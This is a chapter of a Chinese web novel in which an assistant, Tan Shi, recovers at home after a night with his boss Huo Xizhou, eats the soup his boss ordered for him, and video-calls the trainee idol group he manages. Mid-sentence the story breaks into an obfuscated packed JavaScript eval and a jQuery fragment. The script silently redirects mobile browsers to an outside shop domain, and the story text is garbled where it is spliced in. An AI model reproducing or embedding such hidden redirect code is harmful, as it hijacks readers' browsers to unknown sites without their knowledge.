18. 睡梦
    谭时回到家后什么都没有做,从早上起床就隐隐作痛的肌肉随着时间的推移越来越酸,尤其是大腿根部的那根筋,连蹲下坐马桶都是对身体的一次磨练。

    站着的时候坐不下去,坐下去了之后站不起来。

    谭时龇牙咧嘴地换了一身睡衣,扑倒在自己的床上,随即就失去了意识。

    等他再睁眼的时候,房间中的光线已经完全昏暗了下来,谭时睁着眼睛躺在床上一动不动,望着天花板发呆。

    直到此时谭时才真正冷静下来,整理今天发生的这一切。

    他和霍系舟睡了。

    霍系舟没有生气,也没有批准他的辞职,并且主动开口说当一切都没发生过。

    这到底是好还是不好呢?

    谭时抱着被子在床上翻了一个身,右腿自然而然的搭在了被子上,这是谭时睡觉时最喜欢的姿势。

    他抬腿的动作不出意外又牵扯到了伤口,这会儿没有人在,不用顾及面子,谭时痛的“嘶”了一声。

    好半天,痛感才渐渐消退……

    现在事情的走向好像来到了他从未预想过的,最糟糕的场景中最能令人接受的那个结局。

    这样也好,反正现在他还不想离开霍系舟的身边。

    良久之后,谭时眨了眨酸痛的眼睛,伸手拧开床头的灯。

    暖黄色的灯光将房间照的通亮,谭时抬手挡在眼前,等眼睛适应了眼前的光亮之后才放下手。他房间的灯是在灯具城里买到能安装在个人卧室里最亮的瓦数。这是谭时的个人爱好,他就喜欢亮堂堂的灯光,亮堂堂的房间。

    他自己挣了钱从宿舍搬出来之后,租的所有的房子都只有一个要求,要朝南大落地窗,光线没有遮挡。

    现在这套房子是他买的一个老小区,谭时就看上它的采光。从早晨太阳升起的那一刻起,一直到夕阳被地平线吞没,这个房间一整天都是明亮的。

    谭时给自己的脊背后边垫了一个靠枕,靠坐在床头摸出手机,居然已经8点了。

    谭时心想,难怪感觉饿了。中午在霍总家吃的那顿饭真是清淡、色香味俱全,令人没有食欲。

    谭时熟练的点开自己常吃的那家湘菜馆的小程序,准备给自己下单,霍系舟的消息就出现在了手机顶端。

    “看你一直没回消息,给你点了三鲜汤锅,马上送到你家,你自己煮一下就能吃,别点川湘菜记得抹药。”

    谭时脸一红,霍总太了解他了,平时在外边工作、无论是宴席还是出差,谭时都不挑食,放在面前的都能咽下去。然而只要他在家休息的时候,三天能吃八顿川湘菜,剩下那一顿不是火锅就是涮肉。

    两人的聊天界面里,霍系舟发了好几条消息问谭时醒没醒吃没吃饭。看谭时一直没有回复,半个小时之前霍系舟又发了一条“给你点了饭,待会儿就送来。”

    “好的谢谢霍总。”谭时刚回完消息,敲门声就响了起来。

    霍总真的点了满满一大份,谭时将所有的菜放进锅里再添上汤,锅满的差点都要扑出来了。

    谭时将锅子转移到了餐桌上,随着火力逐渐加热,骨汤的醇香渐渐飘散出来弥漫在整个房间里。

    听着汤锅发出咕嘟咕嘟的响声,谭时第一次觉得自己的房子有些空旷。这会儿这里有一个人能陪着自己有多好。

    谭时看着汤锅中冒出来的小泡,思绪又开始往外飞,他自己再清楚不过了,他所谓的“有一个人”,是特殊称谓。这个人,他只想是霍系舟。

    可惜……昨晚这场突如其来的意外,只会让他们越走越远。

    谭时拍拍自己的脸,把乱飘的思绪拉回来。锅里的菜已经煮软了,谭时拿起手机拍了一张照片发给霍系舟。

    谭时:图片.JPG

    谭时:我已经煮好了,很好吃,谢谢霍总

    不等谭时拿起筷子,霍系舟的消息就已经回了过来,“嗯快吃吧。”

    两人没再聊,谭时终于在即将21点的时候吃上了今天第2顿饭。

    霍系舟今天点的这家店谭时之前没有吃过,骨汤香醇浓郁,蔬菜清甜爽脆,吸饱了汤汁的豆腐鲜香滑嫩……

    虽然医生说了要忌荤腥,中午那一桌纯素菜谭时吃的着实有些艰难了,晚上霍系舟点菜的时候,想起谭时中午的忧愁,又给锅里加了酥肉和丸子。

    谭时优先把酥肉和丸子挑着先吃光了。

    这种三鲜汤锅里,往往都会放茼蒿来增加风味。谭时一直吃到锅底,都没有见到一根茼蒿的影子。

    显然,霍系舟没有点。

    谭时捞菜的筷子又停了下来,他无时无刻不在感受着霍系舟的温柔与细心。

    在一次饭局上,谭时一晚上都没有碰过面前的凉拌茼蒿一筷子。车上的时候霍系舟就问他,是不是不吃茼蒿。

    谭时还记得自己当时是怎么回答的,唯一不接受的蔬菜就是茼蒿,不喜欢茼蒿的味道。

    在之后4年的时间里,谭时跟随霍系舟出席的饭局,都再也没有见过一根茼蒿。

    成熟、温柔、稳重、可靠……面对这样的霍系舟,谁能忍住不心动呢,他就这样在霍系舟温柔的包围之下,一步一步深陷沼泽,一直走到今天这种再也无法抽离的地步。

    谭时用汤勺盛了一小碗汤出来,一边吹着气一边小口吸溜着喝进肚子里。

    3月初的京市,冬天还残留着些许寒气。

    这么一碗热汤下肚,整个人都热乎了起来。

    吃完饭谭时稍微收拾了一下,冲完澡准备给自己上药。

    这个艰难的过程,他是这辈子都不想再回忆第2次,然而他还要抹一周。

    伤口处凉飕飕的,凉的人感觉整个肠子都要打结了。

    停!打住!越想越惊悚。

    谭时只好干点什么事儿转移一下自己的注意力,让自己别再想名为上药的恐怖故事。

    “逸云”的群里,今天一整天都没有人发消息。

    谭时想了想,给队长伍荃打了一个视频电话过去。

    一直到电话即将挂断的时候,伍荃才接起来,顿时5张汗涔涔的脸同时出现在了摄像头里。

    几个人叽叽喳喳同时和谭时打招呼。

    “谭哥晚上好。”

    谭时乐了,这五个人形象也太统一了,都像刚从水池子里捞上来的一样。他们身上都穿着类似的舞蹈服,汗水泅湿的印记清晰地透出来。

    “快10点了,你们还在公司练舞吗?”

    顾盼山捞了一把额前垂下来的头发,头发都湿得打绺了,“刚收拾准备回去,谭哥你不在的这段时间我们把四首歌的舞已经都编好了,怎么样是不是特别棒!”

    “我跟你说谭哥,柳瓷巨牛!!!牛进我的心坎里了,编舞比我的舞蹈老师都强,昨天我们第1次跳成舞,公司请的舞蹈老师下巴都快掉地上了,你没看见他当时的表情……”

    反正手机在伍荃的手里举着,顾盼山还伸出手在头上比划了一个牛角的姿势。

    谭时正准备顺着他的话夸夸他们,没等

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078745|137963||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他张口……

    “报告谭哥!”

    顾盼山这突然嘹亮的一嗓子,给谭时吓的一激灵,手机差点都没拿稳。

    “谭哥谭哥,看在我们练舞这么辛苦的份上,能不能批准我们今天晚上吃个宵夜呀?”

    说着开始可怜兮兮的冲谭时挤眼睛。

    “公司对你们出道批准都有要求的,现在达标了吗?”

    “达标了达标了,”就连向来冷清的柳瓷和孔逐月都挤在摄像头里来说话,看来孩子们是真馋了。

    伍荃一板一眼的向谭时汇报,“牧笙孔逐月柳瓷的体重一开始就是达标的,我和顾盼山也已经达标一周多了。”

    谭时也不是那么冷酷无情的人,“行吧,去吃宵夜,我请客。”

    “芜湖——!!!”

    摄像头对面立即乐翻了天,等他们叫喊完,谭时才慢悠悠的补充道,“我给你们打车了,宿舍附近有一家很好吃的烤肉,打完卡你们直接过去,你们吃完再回宿舍洗澡反正吃完烤肉都是一身烟味儿。今天破例每人允许喝一杯饮料,但是切记——”

    “——练习生禁止饮酒!”5人异口同声的接上他的话茬。

    谭时满意的点点头,“知道就好,烤肉店离你们特别近,吃完饭可以走路回家,路上记得戴帽子口罩,明天周天你们可以休息一天,下周一我要来看看你们的练习成果。”

    顾盼山原地立正敬礼,“放心吧谭哥,我们保证只吃饭不聊天,绝对不给任何人留下抓我们把柄的机会!防微杜渐!防患于未然!!”

    “我早就考虑到了,给你们定的是包厢。”

    顾盼山闻言恨不得顺着手机屏钻过来,当着谭时的面给他磕两个响头。

    怎么会有这么通情达理、温柔可亲、善解人意、是非分明、宽宏大度的好哥哥呀!

    “谭哥你不来和我们一起吃吗?”柳瓷挤开顾盼山,弯着眼睛问谭时。

    “就是就是,”牧笙和孔逐月也在一旁喊他,“谭哥来一起吃嘛,人多了一起吃烤肉多热闹。”

    “唉”谭时哀叹一声,“我今天身体不舒服,暂时接受不了烤肉这么硬的美食,等下次有机会再请你们一起吃。”

    宵夜吃烤肉,多么令人幸福的一项活动,然而他现在根本不敢将注意力分散出来。

    否则凉飕飕的屁股就会提醒他,你现在只适合啃白菜吃稀粥。

    “没事吧谭哥,严不严重?”伍荃问他。

    “没事儿,只是这几天得清淡饮食。”

    几人听了谭时的话,只能遗憾地自己去吃宵夜,吃的时候还不忘拍照片发给谭时看。

    谭时看着肉串上边红亮的辣椒面、吱吱作响的油花,那一把把肉串肉筋,馋得谭时胃都抽搐了。

    明明之前能吃的时候也没觉得有多香呀。

    谭时只能抱抱可怜的自己,处理了一下这两天没回复的消息和文件,收拾收拾早点睡了。

    然而这一夜,梦做到谭时差点要疯了。

    人的大脑真是一个奇怪的东西,明明自己一点都没有记忆,大脑却帮他将昨晚的事情原原本本全部刻录了下来,让他在睡梦里尽情回味。

    霍系舟的手箍在他的腰上,俯下身问他:“谭时,你还要吗?”

    一晚上谭时醒了无数次,每一次短暂的睁开眼睛又重新闭上时,梦里的动作就会重新接续上。

    第2天早晨,谭时从梦的漩涡里挣脱出来时,霍系舟那句“谭时,你还要吗?”还在他的大脑里不断回响……